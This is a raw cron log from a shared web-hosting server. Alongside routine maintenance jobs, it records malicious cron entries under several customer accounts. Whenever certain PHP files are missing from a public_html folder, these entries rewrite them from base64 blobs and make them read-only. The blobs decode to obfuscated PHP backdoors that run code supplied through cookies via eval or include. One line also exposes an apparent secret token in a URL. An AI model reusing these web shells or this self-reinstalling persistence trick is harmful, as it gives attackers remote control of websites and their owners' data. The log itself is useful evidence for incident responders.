"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:44:01 medusa CROND[1276]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:44:01 medusa CROND[1277]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:44:01 medusa CROND[1279]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:44:01 medusa CROND[1283]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:44:01 medusa CROND[1284]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:44:01 medusa CROND[1289]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:45:01 medusa CROND[25980]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 09:45:01 medusa CROND[26007]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 09:45:01 medusa CROND[26101]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 09:45:01 medusa CROND[26129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:45:01 medusa CROND[26130]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:45:01 medusa CROND[26131]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:45:01 medusa CROND[26132]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 09:45:01 medusa CROND[26133]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 09:45:01 medusa CROND[26144]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 09:45:01 medusa CROND[26145]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 09:45:01 medusa CROND[26146]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 09:45:01 medusa CROND[26150]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:45:01 medusa CROND[26152]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:45:01 medusa CROND[26154]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:45:01 medusa CROND[26153]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 09:45:01 medusa CROND[26155]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 09:45:01 medusa CROND[26156]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:45:01 medusa CROND[26157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 09:45:01 medusa CROND[26164]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:45:01 medusa CROND[26165]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:45:01 medusa CROND[26151]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 09:45:01 medusa CROND[26166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:45:01 medusa CROND[26170]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")